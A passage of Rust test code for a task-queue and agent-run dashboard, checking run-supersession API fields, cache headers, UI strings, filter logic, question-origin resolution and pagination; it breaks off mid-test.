23214 let t = outcome_task(&[a, b, c], TaskStatus::Done);
23217 let out = task_outcome(&t, a, 3, read);
23218 assert!(out.finished_by.is_none());
23219 assert!(out.closed_by_hand);
23220 let latest = out.latest.expect("latest");
23221 assert_eq!(latest.id, c);
23222 assert_eq!(latest.status, None);
23223 assert_eq!(latest.outcome, "record unreadable");
23224
23225 write_run(dir.path(), c, RunStatus::Ready);
23227 let t = outcome_task(&[a, c], TaskStatus::Done);
23228 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23229 assert_eq!(out.finished_by.expect("finisher").id, c);
23230 assert!(!out.closed_by_hand);
23231
23232 let t = outcome_task(&[a, b, a], TaskStatus::Held);
23234 assert!(task_outcome(&t, a, 3, read).is_latest);
23235 }
23236
23237 #[tokio::test]
23238 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23239 let fx = Fixture::start().await;
23244 let q = fx.queue();
23245 let runs = fx.runs();
23246 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23247 write_run(&runs, first, RunStatus::Blocked);
23248 write_run(&runs, second, RunStatus::Merged);
23249
23250 let mut t = Task::new(
23251 "one task".to_owned(),
23252 "do it".to_owned(),
23253 PathBuf::from("/repo"),
23254 Source::Human,
23255 );
23256 t.runs = vec![first.to_owned(), second.to_owned()];
23257 q.put(&mut t).expect("put");
23258
23259 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23260 assert_eq!(earlier["superseded_by"], "dddd");
23261 assert_eq!(earlier["latest_attempt"]["id"], second);
23262 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23263 assert_eq!(
23264 earlier["latest_attempt"]["resolved"], true,
23265 "the run that replaced it landed, so this one reads as settled"
23266 );
23267
23268 let later = fx.get(&format!("/api/runs/{second}")).await.json();
23269 assert!(
23270 later["superseded_by"].is_null(),
23271 "the latest attempt is not superseded by anything"
23272 );
23273 assert!(
23274 later["latest_attempt"].is_null(),
23275 "the latest attempt has no later attempt of its own"
23276 );
23277
23278 assert!(APP_JS.contains("run.latest_attempt"));
23285 assert!(APP_JS.contains("data-superseded"));
23286 assert!(APP_JS.contains("#/runs/${latest.id}"));
23287 }
23288
23289 #[tokio::test]
23290 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23291 let fx = Fixture::start().await;
23297 let q = fx.queue();
23298 let runs = fx.runs();
23299 let (a, b, c) = (
23300 "20260901-000000-aaaa",
23301 "20260901-000000-bbbb",
23302 "20260901-000000-cccc",
23303 );
23304 write_run(&runs, a, RunStatus::Blocked);
23305 write_run(&runs, b, RunStatus::Blocked);
23306 write_run(&runs, c, RunStatus::Merged);
23307
23308 let mut t = Task::new(
23309 "retried twice".to_owned(),
23310 "do it".to_owned(),
23311 PathBuf::from("/repo"),
23312 Source::Human,
23313 );
23314 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23315 q.put(&mut t).expect("put");
23316
23317 let view = fx.get(&format!("/api/runs/{a}")).await.json();
23318 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23319 assert_eq!(
23320 view["latest_attempt"]["id"], c,
23321 "the chain's current head, not the intermediate Blocked retry"
23322 );
23323 assert_eq!(view["latest_attempt"]["resolved"], true);
23324
23325 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23326 assert_eq!(mid["latest_attempt"]["id"], c);
23327 assert_eq!(mid["latest_attempt"]["resolved"], true);
23328 }
23329
23330 #[tokio::test]
23331 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23332 let fx = Fixture::start().await;
23333 let q = fx.queue();
23334 let runs = fx.runs();
23335
23336 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23339 write_run(&runs, still_blocked_a, RunStatus::Blocked);
23340 write_run(&runs, still_blocked_b, RunStatus::Blocked);
23341 let mut t1 = Task::new(
23342 "still stuck".to_owned(),
23343 "do it".to_owned(),
23344 PathBuf::from("/repo"),
23345 Source::Human,
23346 );
23347 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23348 q.put(&mut t1).expect("put");
23349 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23350 assert_eq!(view1["latest_attempt"]["resolved"], false);
23351 assert_eq!(view1["latest_attempt"]["status"], "blocked");
23352 assert_eq!(view1["latest_attempt"]["done"], true);
23353
23354 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23356 write_run(&runs, run_a, RunStatus::Blocked);
23357 write_run(&runs, run_b, RunStatus::Implementing);
23358 let mut t3 = Task::new(
23359 "retrying".to_owned(),
23360 "do it".to_owned(),
23361 PathBuf::from("/repo"),
23362 Source::Human,
23363 );
23364 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23365 q.put(&mut t3).expect("put");
23366 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23367 assert_eq!(view3["latest_attempt"]["id"], run_b);
23368 assert_eq!(view3["latest_attempt"]["resolved"], false);
23369 assert_eq!(view3["latest_attempt"]["done"], false);
23370
23371 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23376 write_run(&runs, noop_a, RunStatus::Blocked);
23377 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23378 let mut t2 = Task::new(
23379 "claims done".to_owned(),
23380 "do it".to_owned(),
23381 PathBuf::from("/repo"),
23382 Source::Human,
23383 );
23384 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23385 q.put(&mut t2).expect("put");
23386 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23387 assert_eq!(
23388 view2["latest_attempt"]["resolved"], false,
23389 "an unverified no-op claim must not read as a confirmed finish"
23390 );
23391
23392 assert!(APP_JS.contains("latest.resolved"));
23395 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23398 assert!(APP_JS.contains("Latest attempt: "));
23399 assert!(APP_JS.contains("in flight"));
23400 assert!(APP_JS.contains("not resolved"));
23401 }
23402
23403 #[tokio::test]
23404 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23405 let fx = Fixture::start().await;
23406 let js = fx.get("/app.js").await;
23412 assert_eq!(js.status, 200);
23413 let tag = js
23414 .header("etag")
23415 .expect("an etag to revalidate against")
23416 .to_owned();
23417 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23418 assert_eq!(
23419 js.header("cache-control"),
23420 Some("no-cache, must-revalidate"),
23421 "the phone has to ask every time"
23422 );
23423
23424 let again = fx
23427 .get_with("/app.js", &[("if-none-match", tag.as_str())])
23428 .await;
23429 assert_eq!(
23430 again.status, 304,
23431 "a deck it already has costs one round trip"
23432 );
23433 assert!(again.body.is_empty(), "304 carries no body");
23434
23435 let weak = fx
23438 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23439 .await;
23440 assert_eq!(weak.status, 304);
23441 let stale = fx
23442 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23443 .await;
23444 assert_eq!(stale.status, 200, "an older build must be replaced");
23445 assert!(stale.body.contains("renderRunActions"));
23446 }
23447
23448 #[test]
23449 fn the_task_detail_has_an_actions_fab_and_sheet() {
23450 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23451 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23452 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23453 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23455 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23456 assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23458 assert!(APP_JS.contains("renderTaskActions(null);"));
23459 let sheet = APP_JS
23461 .find("function renderTaskActions")
23462 .expect("sheet renderer");
23463 let body = &APP_JS[sheet..sheet + 3000];
23464 assert!(body.contains("changePriority("));
23465 assert!(body.contains("openTaskEdit(task)"));
23466 assert!(body.contains("renderTaskHoldBox(host"));
23467 assert!(body.contains("renderTaskDoneBox(host"));
23468 assert!(body.contains("renderTaskDeleteBox(host"));
23469 assert!(APP_JS.contains("API.priority(id)"));
23470 assert!(APP_JS.contains("API.deleteTask(id)"));
23471 assert!(APP_JS.contains("location.hash = \"#/queue\""));
23473 assert!(APP_JS.contains("$(\"task-actions-error\")"));
23475 }
23476
23477 #[test]
23478 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23479 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23480 let actions = INDEX_HTML
23481 .find("id=\"run-actions-box\"")
23482 .expect("actions box");
23483 assert!(task < actions, "the task entry comes first in the sheet");
23484 assert!(APP_JS.contains("renderRunTaskEntry"));
23485 assert!(APP_JS.contains("\"Open task \""));
23486 assert!(APP_JS.contains("started directly, no task"));
23488 assert!(APP_JS.contains("sheet-task-link"));
23489 assert!(APP_JS.contains("task-chip-link"));
23490 }
23491
23492 #[test]
23493 fn the_deck_never_sends_the_operator_to_a_terminal() {
23494 assert!(
23497 !APP_JS.contains("Run `magi fold` first"),
23498 "the deck must offer the fold, not prescribe a shell command"
23499 );
23500 assert!(APP_JS.contains("foldRun:"));
23501 assert!(APP_JS.contains("resumeRun:"));
23502 assert!(APP_JS.contains("renderRunActions"));
23503
23504 assert!(APP_JS.contains("armedFold"));
23506 assert!(APP_JS.contains("Yes, fold worktrees"));
23507
23508 assert!(APP_JS.contains("can no longer be resumed"));
23511 }
23512
23513 #[test]
23514 fn a_finished_run_explains_itself_with_its_own_last_line() {
23515 assert!(
23521 !APP_JS.contains("collapsed on agent quota"),
23522 "a stall must not be explained by a cause the deck did not check"
23523 );
23524 assert!(
23525 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23526 "and a block must not offer a guess with an `or` in it"
23527 );
23528
23529 assert!(
23533 APP_JS.contains("setText(r.event, run.event || \"\")"),
23534 "the run's last line is rendered unconditionally"
23535 );
23536 assert!(
23537 !APP_JS.contains("moving && run.event"),
23538 "and never gated on the run still moving"
23539 );
23540
23541 assert!(APP_JS.contains("lost to quota"));
23543 }
23544
23545 #[test]
23567 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23568 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23569 let shapes_body_start =
23570 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23571 let shapes_close = APP_JS[shapes_body_start..]
23572 .find("].map(")
23573 .expect("the shape list is closed by its done-computing .map(...)")
23574 + shapes_body_start;
23575 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23576
23577 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23578 for entry in shapes_src.split('{').skip(1) {
23579 let waiting = entry.contains("waiting: true");
23580 let dead = entry.contains("live: \"dead\"");
23581 let status_at =
23582 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23583 let status_end = entry[status_at..]
23584 .find('"')
23585 .expect("the status string is closed")
23586 + status_at;
23587 let parked = entry.contains("display_status: \"parked\"");
23588 shapes.push((
23589 waiting,
23590 entry[status_at..status_end].to_string(),
23591 dead,
23592 parked,
23593 ));
23594 }
23595 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23596
23597 let done_rule_marker = "done: !";
23601 let done_rule_at = APP_JS[shapes_close..]
23602 .find(done_rule_marker)
23603 .expect("the done rule follows the shape list")
23604 + shapes_close
23605 + done_rule_marker.len();
23606 let includes_at = APP_JS[done_rule_at..]
23607 .find(".includes(shape.status)")
23608 .expect("the done rule ends in .includes(shape.status)")
23609 + done_rule_at;
23610 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23611 .trim()
23612 .trim_start_matches('[')
23613 .trim_end_matches(']')
23614 .split(',')
23615 .map(|s| s.trim().trim_matches('"'))
23616 .filter(|s| !s.is_empty())
23617 .collect();
23618
23619 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23620 .into_iter()
23621 .map(|(waiting, status, dead, parked)| {
23622 let done = !not_done.contains(&status.as_str());
23623 (waiting, status, dead, parked, done)
23624 })
23625 .collect();
23626
23627 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23631 if waiting {
23632 return "waiting";
23633 }
23634 if dead
23635 && !parked
23636 && !matches!(
23637 status,
23638 "merged"
23639 | "ready"
23640 | "stalled"
23641 | "blocked"
23642 | "failed"
23643 | "verified_noop"
23644 | "superseded"
23645 | "already_in_base"
23646 )
23647 {
23648 return "stale";
23649 }
23650 match status {
23651 "merged" | "ready" => "landed",
23652 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23653 | "already_in_base" => "ended",
23654 _ => "flight",
23655 }
23656 }
23657
23658 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23661 match filter_key {
23662 "active" => !done,
23663 "flight" => !done && !waiting && !dead,
23664 "stale" => !done && !waiting && dead,
23665 "waiting" => waiting,
23666 "done" => done,
23667 "all" => true,
23668 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
23669 }
23670 }
23671
23672 let compatible = |section: &str, filter_key: &str| {
23673 shapes.iter().any(|(waiting, status, dead, parked, done)| {
23674 run_section(*waiting, status, *dead, *parked) == section
23675 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
23676 })
23677 };
23678
23679 let expected = [
23684 ("waiting", [true, false, false, true, true, true]),
23685 ("stale", [true, false, true, false, false, true]),
23686 ("flight", [true, true, false, false, false, true]),
23687 ("landed", [false, false, false, false, true, true]),
23688 ("ended", [false, false, false, false, true, true]),
23689 ];
23690 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
23691
23692 for (section, wants) in expected {
23693 for (filter_key, want) in filter_keys.iter().zip(wants) {
23694 assert_eq!(
23695 compatible(section, filter_key),
23696 want,
23697 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
23698 );
23699 }
23700 }
23701
23702 assert!(
23705 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
23706 );
23707 assert!(APP_JS.contains(
23708 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
23709 ));
23710 assert!(APP_JS.contains(
23711 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
23712 ));
23713 }
23714
23715 #[tokio::test]
23716 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
23717 let dir = tempfile::tempdir().expect("tempdir");
23721 let explicit = dir.path().join("not-a-checkout");
23722 std::fs::create_dir_all(&explicit).expect("create dir");
23723 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
23724
23725 let missing = dir.path().join("does-not-exist-at-all");
23726 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
23727 }
23728
23729 #[test]
23730 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
23731 assert!(APP_JS.contains("function statsDonutArcs"));
23732 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
23733 assert!(APP_JS.contains("function statusInBucket"));
23735 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
23736 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
23737 let buckets = [
23738 "merged",
23739 "ready",
23740 "in_progress",
23741 "blocked",
23742 "failed",
23743 "verified_noop",
23744 "superseded",
23745 "stalled",
23746 ];
23747 for key in buckets {
23748 let var = format!("--verdict-{key}:");
23749 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
23751 assert!(
23752 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
23753 "{key}"
23754 );
23755 }
23756 }
23757
23758 #[tokio::test]
23759 async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
23760 let dir = tempfile::tempdir().expect("tempdir");
23761 let queue = Queue::at(dir.path().join("queue"));
23762 let talks = Talks::at(dir.path().join("talks"));
23763 std::fs::create_dir_all(queue.root()).unwrap();
23764 std::fs::create_dir_all(talks.root()).unwrap();
23765
23766 std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
23768 std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
23769
23770 let mut task = Task::new(
23772 "title".into(),
23773 "inst".into(),
23774 PathBuf::from("/repo"),
23775 Source::Human,
23776 );
23777 task.id = "20261019-123456-abcd".into();
23778 std::fs::write(
23780 queue.path_of(&task.id),
23781 serde_json::to_string(&task).unwrap(),
23782 )
23783 .unwrap();
23784
23785 let talk_id = "20261019-234567-cdef";
23786 seed_talk_at(&talks, talk_id, "open");
23787
23788 assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
23790 assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
23791
23792 assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
23794 assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
23795 }
23796
23797 #[tokio::test]
23798 async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
23799 let home = tempfile::tempdir().unwrap();
23800 let ui = delta_test_ui(home.path());
23801 std::fs::write(ui.queue.root(), "not a directory").unwrap();
23803 std::fs::write(ui.talks.root(), "not a directory").unwrap();
23804 assert!(
23805 questions_list(State(ui.clone()))
23806 .await
23807 .unwrap()
23808 .0
23809 .is_empty()
23810 );
23811 assert!(
23812 question_origins(State(ui.clone()))
23813 .await
23814 .unwrap()
23815 .0
23816 .is_empty()
23817 );
23818 let mut question = Question::new(
23819 "run-history".into(),
23820 "review".into(),
23821 "seat".into(),
23822 "Useful question".into(),
23823 "Useful detail".into(),
23824 vec![],
23825 );
23826 ui.questions.put(&mut question).unwrap();
23827 let core = questions_core(State(ui.clone())).await.unwrap().0;
23828 assert_eq!(core.len(), 1);
23829 assert_eq!(core[0].question.summary, "Useful question");
23830 assert!(!core[0].can_consult_chat);
23831 assert!(core[0].origin_chat.is_none());
23832 assert_eq!(core[0].record_revision, question_record_revision(&question));
23833 assert!(question_origins(State(ui.clone())).await.is_err());
23834 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23835 }
23836
23837 #[tokio::test]
23838 async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23839 let home = tempfile::tempdir().unwrap();
23840 let ui = delta_test_ui(home.path());
23841 let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23842 let mut parent = Task::new(
23843 "parent".into(),
23844 "body".into(),
23845 PathBuf::from("/repo"),
23846 Source::Agent {
23847 run: chat.clone(),
23848 node: crate::queue::CHAT_NODE.into(),
23849 },
23850 );
23851 parent.id = "parent-task".into();
23852 parent.runs = vec!["parent-run".into()];
23853 ui.queue.put(&mut parent).unwrap();
23854 let mut previous = parent;
23855 for generation in 1..=2 {
23856 let mut child = Task::new(
23857 "child".into(),
23858 "body".into(),
23859 PathBuf::from("/repo"),
23860 Source::Human,
23861 );
23862 child.id = format!("child-task-{generation}");
23863 child.runs = vec![format!("child-run-{generation}")];
23864 child.followup = Some(crate::queue::FollowUp {
23865 origin_task: Some(previous.id.clone()),
23866 run: previous.runs[0].clone(),
23867 pr: String::new(),
23868 findings: vec![],
23869 generation,
23870 });
23871 ui.queue.put(&mut child).unwrap();
23872 previous = child;
23873 }
23874 let mut collision = Task::new(
23877 "collision".into(),
23878 String::new(),
23879 PathBuf::from("/repo"),
23880 Source::Human,
23881 );
23882 collision.id = "collision-task".into();
23883 collision.runs = vec![previous.id.clone()];
23884 ui.queue.put(&mut collision).unwrap();
23885 let mut questions = Vec::new();
23886 for (node, reference, expected, eligible) in [
23887 (crate::triage::NODE, previous.id.as_str(), true, false),
23888 (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23889 ("review", previous.runs[0].as_str(), true, true),
23890 (
23891 crate::bump::NOTICE_NODE,
23892 previous.runs[0].as_str(),
23893 true,
23894 false,
23895 ),
23896 ("review", previous.id.as_str(), false, false),
23898 (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23899 ("review", "unrelated", false, false),
23900 ] {
23901 let mut q = Question::new(
23902 reference.into(),
23903 node.into(),
23904 "seat".into(),
23905 "Question".into(),
23906 String::new(),
23907 vec![],
23908 );
23909 ui.questions.put(&mut q).unwrap();
23910 questions.push((q, expected, eligible));
23911 }
23912 for (node, reference, associated, eligible) in [
23913 (crate::reconcile::NODE, previous.id.as_str(), true, false),
23914 (
23915 crate::reconcile::NODE,
23916 previous.runs[0].as_str(),
23917 false,
23918 true,
23919 ),
23920 ("implement", previous.id.as_str(), false, false),
23921 ] {
23922 let mut q = Question::new(
23923 reference.into(),
23924 node.into(),
23925 crate::reconcile::SEAT.into(),
23926 "Reconcile".into(),
23927 String::new(),
23928 vec![],
23929 );
23930 ui.questions.put(&mut q).unwrap();
23931 questions.push((q, associated, eligible));
23932 }
23933 let mut release = Question::new(
23934 "release-record".into(),
23935 crate::bump::NOTICE_NODE.into(),
23936 "release-watch".into(),
23937 "Release".into(),
23938 String::new(),
23939 vec![],
23940 );
23941 ui.questions.put(&mut release).unwrap();
23942 let watch = crate::release_watch::WatchState {
23943 question: Some(release.id.clone()),
23944 run: Some(previous.runs[0].clone()),
23945 held_task: Some(previous.id.clone()),
23946 ..Default::default()
23947 };
23948 let watch_dir = home.path().join("release-watch");
23949 std::fs::create_dir_all(&watch_dir).unwrap();
23950 let watch_path = watch_dir.join("watch.json");
23951 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23952 for batch in [
23954 Vec::new(),
23955 questions.iter().map(|(q, _, _)| q.clone()).collect(),
23956 ] {
23957 let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23958 assert!(watches.is_empty());
23959 }
23960 questions.push((release.clone(), true, false));
23961
23962 let views = questions_list(State(ui.clone())).await.unwrap().0;
23963 let origins = question_origins(State(ui.clone())).await.unwrap().0;
23964 for (q, associated, eligible) in &questions {
23965 let view = views.iter().find(|view| view.question.id == q.id).unwrap();
23966 let origin = origins.iter().find(|view| view.id == q.id).unwrap();
23967 let expected = associated.then_some(chat.as_str());
23968 assert_eq!(
23969 view.origin_chat.as_deref(),
23970 expected,
23971 "{} {}",
23972 q.node,
23973 q.run
23974 );
23975 assert_eq!(origin.origin_chat.as_deref(), expected);
23976 assert_eq!(view.origin_chat_closed, *associated);
23977 assert_eq!(origin.origin_chat_closed, *associated);
23978 assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
23979 assert_eq!(origin.can_consult_chat, *eligible);
23980 }
23981 for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
23983 let link = crate::release_watch::WatchState {
23984 run,
23985 held_task,
23986 ..watch.clone()
23987 };
23988 std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
23989 let (tasks, talks, watches) =
23990 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23991 assert_eq!(
23992 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23993 .unwrap()
23994 .id,
23995 chat,
23996 );
23997 assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
23998 }
23999 std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24000 let duplicate_path = watch_dir.join("duplicate.json");
24002 std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24003 let (tasks, talks, watches) =
24004 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24005 assert!(
24006 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24007 .is_none()
24008 );
24009 std::fs::remove_file(duplicate_path).unwrap();
24010 let mut unrelated = Task::new(
24012 "other".into(),
24013 String::new(),
24014 PathBuf::from("/repo"),
24015 Source::Human,
24016 );
24017 unrelated.id = "unrelated-task".into();
24018 ui.queue.put(&mut unrelated).unwrap();
24019 let mut conflicting = watch.clone();
24020 conflicting.held_task = Some(unrelated.id);
24021 std::fs::write(
24022 watch_dir.join("conflict.json"),
24023 serde_json::to_vec(&conflicting).unwrap(),
24024 )
24025 .unwrap();
24026 let (tasks, talks, watches) =
24027 question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24028 assert!(
24029 crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24030 .is_none()
24031 );
24032 std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24033 std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24034 for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24035 assert!(origin.origin_chat.is_none());
24036 assert!(!origin.origin_chat_closed);
24037 }
24038 }
24039
24040 #[test]
24041 fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24042 let home = tempfile::tempdir().unwrap();
24043 let ui = delta_test_ui(home.path());
24044 let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24045 for i in 0..1000 {
24046 let mut task = Task::new(
24047 "unrelated".into(),
24048 "instruction ".repeat(256),
24049 PathBuf::from("/repo"),
24050 Source::Human,
24051 );
24052 task.id = format!("history-{i:04}");
24053 ui.queue.put(&mut task).unwrap();
24054 let id = seed_talk_at(&ui.talks, &task.id, "open");
24055 let mut talk = ui.talks.get(&id).unwrap();
24056 talk.pending = "history ".repeat(256);
24057 ui.talks.put(&mut talk).unwrap();
24058 }
24059 let mut parent = Task::new(
24060 "parent".into(),
24061 "body".into(),
24062 PathBuf::from("/repo"),
24063 Source::Agent {
24064 run: chat_id.clone(),
24065 node: crate::queue::CHAT_NODE.into(),
24066 },
24067 );
24068 parent.id = "task-parent".into();
24069 parent.runs = vec!["run-parent".into()];
24070 ui.queue.put(&mut parent).unwrap();
24071 let mut child = Task::new(
24072 "child".into(),
24073 "body".into(),
24074 PathBuf::from("/repo"),
24075 Source::Human,
24076 );
24077 child.id = "task-child".into();
24078 child.runs = vec!["run-child".into()];
24079 child.followup = Some(crate::queue::FollowUp {
24080 run: "run-parent".into(),
24081 origin_task: Some(parent.id.clone()),
24082 pr: "https://example.invalid/pr/1".into(),
24083 findings: vec![],
24084 generation: 1,
24085 });
24086 ui.queue.put(&mut child).unwrap();
24087 let mut question = Question::new(
24088 child.id.clone(),
24089 crate::conduct::NODE.into(),
24090 "seat".into(),
24091 "Continue?".into(),
24092 String::new(),
24093 vec![],
24094 );
24095 let (tasks, talks, _watches) =
24096 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24097 assert_eq!(tasks.len(), 2);
24098 assert_eq!(talks.len(), 1);
24099 assert_eq!(
24100 ui.monitor.queue_index.lock().unwrap().reparsed,
24101 0,
24102 "exact ancestry bypasses the index"
24103 );
24104 assert_eq!(
24105 crate::consult::origin_talk(&tasks, &talks, &question)
24106 .unwrap()
24107 .id,
24108 chat_id
24109 );
24110 question.run = "run-child".into();
24111 question.node = "review".into();
24112 for origin_task in [Some(parent.id.clone()), None] {
24113 child.followup.as_mut().unwrap().origin_task = origin_task;
24114 ui.queue.put(&mut child).unwrap();
24115 let (tasks, talks, _watches) =
24116 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24117 let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24118 let expected =
24119 crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24120 .unwrap();
24121 assert_eq!(actual.id, expected.id);
24122 assert!(!actual.status.open());
24123 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24124 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24125 let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24128 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24129 }
24130 child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24131 ui.queue.put(&mut child).unwrap();
24132 std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24133 let (tasks, talks, _watches) =
24134 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24135 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24136 child.origin_chat = Some(chat_id.clone());
24137 ui.queue.put(&mut child).unwrap();
24138 let (tasks, talks, _watches) =
24139 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24140 assert_eq!(
24141 crate::consult::origin_talk(&tasks, &talks, &question)
24142 .unwrap()
24143 .id,
24144 chat_id
24145 );
24146 let revision = question_record_revision(&question);
24147 question.abandon("settled elsewhere");
24148 assert_ne!(revision, question_record_revision(&question));
24149 assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24150 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24151 std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24152 let (tasks, talks, _watches) =
24153 question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24154 assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24155 }
24156
24157 #[test]
24158 fn list_cursors_freeze_membership_and_expire_explicitly() {
24159 let home = tempfile::tempdir().unwrap();
24160 let ui = delta_test_ui(home.path());
24161 std::fs::create_dir_all(ui.queue.root()).unwrap();
24162 for i in 0..40 {
24163 std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24164 }
24165 let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24166 assert_eq!(first.len(), STORE_PAGE_SIZE);
24167 let cursor = cursor.unwrap();
24168 std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24169 std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24170 let (second, _) = page_ids(
24171 &ui,
24172 false,
24173 PageQuery {
24174 before: Some(cursor.clone()),
24175 },
24176 )
24177 .unwrap();
24178 assert_eq!(second[0], "record-0023");
24179 assert!(second.iter().all(|id| !first.contains(id)));
24180 assert!(
24181 page_ids(
24182 &ui,
24183 true,
24184 PageQuery {
24185 before: Some(cursor.clone())
